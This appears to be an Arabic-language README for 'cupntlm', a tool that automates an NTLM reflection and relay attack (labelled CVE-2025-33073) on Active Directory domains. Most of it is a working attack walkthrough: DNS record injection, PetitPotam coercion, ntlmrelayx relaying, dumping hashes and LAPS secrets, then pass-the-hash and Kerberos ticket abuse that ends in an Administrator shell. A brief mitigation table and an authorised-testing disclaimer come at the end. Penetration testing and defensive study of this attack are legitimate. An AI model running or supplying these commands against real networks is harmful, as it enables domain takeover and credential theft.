
cupntlm
CVE-2025-33073 — تجاوز انعكاس NTLM عبر إكراه DNS
أداة استغلال مؤتمتة لبيئات Active Directory.
يقوم cupntlm بأتمتة سلسلة هجوم انعكاس/تتابع NTLM التي تستغل CVE-2025-33073. يجمع بين حقن سجلات DNS، وإكراه المصادقة القسري (PetitPotam)، وتتابع NTLM في سير عمل واحد. تدعم الأداة وضعين تشغيليين اعتمادًا على النطاق ومتطلبات التخفي.
Attacker Domain Controller Target Host
│ │ │
│── 1. Inject DNS record ───────▶│ │
│ (attacker IP as target) │ │
│ │ │
│── 2. Coerce auth (PetitPotam) ─────────────────────────────▶│
│ │ │
│◀─ 3. NTLM auth forwarded back ─────────────────────────────│
│ │ │
│── 4. Relay to DC ─────────────▶│ │
│ (ntlmrelayx) │ │
│ │ │
│◀─ 5. Shell / secretsdump / etc.│ │
المتطلبات المسبقة على الشبكة المستهدفة:
| المكتبة | التثبيت |
|---|---|
impacket | pip3 install impacket --break-system-packages |
colorama | pip3 install colorama --break-system-packages |
dnspython | pip3 install dnspython --break-system-packages |
exploit/
├── cupntlm.py
├── ntlmrelayx.py # from impacket
├── dnstool.py # from krbrelayx
├── lib/ # krbrelayx support library
└── PetitPotam.py
git clone https://github.com/EgCupCake/cupntlm.git
cd cupntlm
sudo bash setup.sh
يفحص حالة توقيع SMB على الأهداف ويتحقق من بيانات اعتماد المجال قبل محاولة أي شيء.
cd exploit
sudo python3 cupntlm.py check \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100
ينشئ سجل DNS فريدًا لكل هدف، ويطلق الإكراه واحدًا تلو الآخر، وينظف السجلات بين التكرارات. أبطأ لكنه أكثر دقة ويترك ضوضاء أقل.
sudo python3 cupntlm.py per-target \
--targets targets.txt \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100 \
--loot loot.txt
يحقن سجل DNS واحدًا ويُبقي ntlmrelayx يعمل باستمرار أثناء التكرار عبر جميع الأهداف. أسرع للنطاقات الكبيرة.
sudo python3 cupntlm.py single \
--targets targets.txt \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100 \
--loot loot.txt
192.168.1.10
192.168.1.11
192.168.1.12
تعيد الخطوات التالية إنتاج سلسلة الهجوم كاملة يدويًا دون استخدام cupntlm.py. مفيدة لفهم البدائيات، أو تصحيح الأخطاء، أو التكيف مع بيئات غير قياسية.
حدد المضيفات التي يكون فيها توقيع SMB معطلاً. هذه هي أهداف التتابع الصالحة لديك.
netexec smb 192.168.1.0/24 --gen-relay-list targets_unsigned.txt
أو باستخدام nmap:
nmap -p 445 --script smb2-security-mode 192.168.1.0/24
ابحث عن:
Message signing enabled but not required ← valid relay target
Message signing enabled and required ← cannot relay here
استخدم dnstool.py لإضافة سجل A في DNS الخاص بالمجال يشير باسم مضيف إلى جهازك. عندما يحل الهدف اسم المضيف هذا ويصادق، يصل الطلب إلى مستمع التتابع لديك.
cd exploit/
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action add \
--record 'attacker-relay' \
--data 192.168.45.200 \ # your attacker IP
--type A \
10.0.0.1 # DC IP
تحقق من إضافة السجل:
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action query \
--record 'attacker-relay' \
10.0.0.1
شغّل ntlmrelayx.py قبل إطلاق الإكراه. سينتظر ويترقب وصول المصادقات.
التتابع إلى SMB — تفريغ SAM/LSA:
sudo python3 ntlmrelayx.py \
-t smb://192.168.1.100 \
-smb2support \
--no-http-server
التتابع إلى LDAP — إنشاء حساب جهاز جديد (لـ RBCD / shadow credentials):
sudo python3 ntlmrelayx.py \
-t ldap://10.0.0.1 \
--delegate-access \
--no-smb-server \
--no-http-server
التتابع إلى LDAPS — تفريغ أسرار المجال:
sudo python3 ntlmrelayx.py \
-t ldaps://10.0.0.1 \
--dump-laps \
--no-smb-server \
--no-http-server
أجبر الجهاز المستهدف على المصادقة صادرًا إلى سجل DNS المحقون لديك. يستغل PetitPotam واجهة MS-EFSRPC — لا يتطلب بيانات اعتماد على المضيفات غير المُحدَّثة، أو استخدم بيانات اعتماد صالحة للمضيفات المُحدَّثة.
بدون مصادقة (هدف غير مُحدَّث):
python3 PetitPotam.py \
[dnsname] \ # your listener IP (matches DNS record)
192.168.1.50 # target host to coerce
مع مصادقة (هدف مُحدَّث، يتطلب بيانات اعتماد صالحة):
python3 PetitPotam.py \
-u pentester \
-p 'P@ss' \
-d lab.local \
[dnsname] \
192.168.1.50
عند هذه النقطة، يرسل المضيف المُكرَه مصادقة NTLM إلى جهازك ← يلتقطها ntlmrelayx ويعيد توجيهها.
اعتمادًا على هدف التتابع الذي اخترته في الخطوة 3:
<hostname>_samhashes.txt / _lsahashes.txtgetST.py للحصول على تذكرة خدمةأزل دائمًا سجلات DNS المحقونة بعد انتهاء المهمة.
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action remove \
--record 'attacker-relay' \
--data 192.168.45.200 \
--type A \
10.0.0.1
Pass-the-hash باستخدام حساب جهاز مُعاد توجيهه:
impacket-secretsdump \
'lab.local/MACHINE$'@10.0.0.1 \
-hashes :aad3b435b51404eeaad3b435b51404ee:<NT_HASH>
الحصول على تذكرة خدمة لـ S4U2Self (بعد RBCD):
impacket-getST \
-spn cifs/TARGET.lab.local \
-impersonate Administrator \
'lab.local/ATTACKERMACHINE$:password'
استخدام التذكرة:
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.lab.local
| الإجراء | التأثير |
|---|---|
| تفعيل توقيع SMB (مطلوب) على جميع المضيفات |
هذه الأداة مخصصة لاختبار الاختراق المصرح به والبحث الأمني فقط.
لا تستخدمها ضد أنظمة لا تملك إذنًا كتابيًا صريحًا لاختبارها.
| الأداة | الغرض |
|---|
python3 | بيئة التشغيل |
pip3 | مدير حزم Python |
git | استنساخ التبعيات |
wget | تنزيل الملفات |
nmap | تعداد توقيع SMB |
netexec / crackmapexec | فحص توقيع SMB (اختياري) |
| يكسر التتابع إلى SMB |
| تفعيل توقيع LDAP + ربط القنوات (channel binding) | يكسر التتابع إلى LDAP/LDAPS |
| تطبيق تصحيح MS-EFSRPC (KB5005413) | يمنع PetitPotam غير المصادَق |
| تقييد إنشاء سجلات DNS على المسؤولين | يمنع خطوة حقن DNS |
| تعطيل مصادقة NTLM عبر الشبكة (يُفضَّل Kerberos) | يقضي على هذه الفئة من الهجمات بالكامل |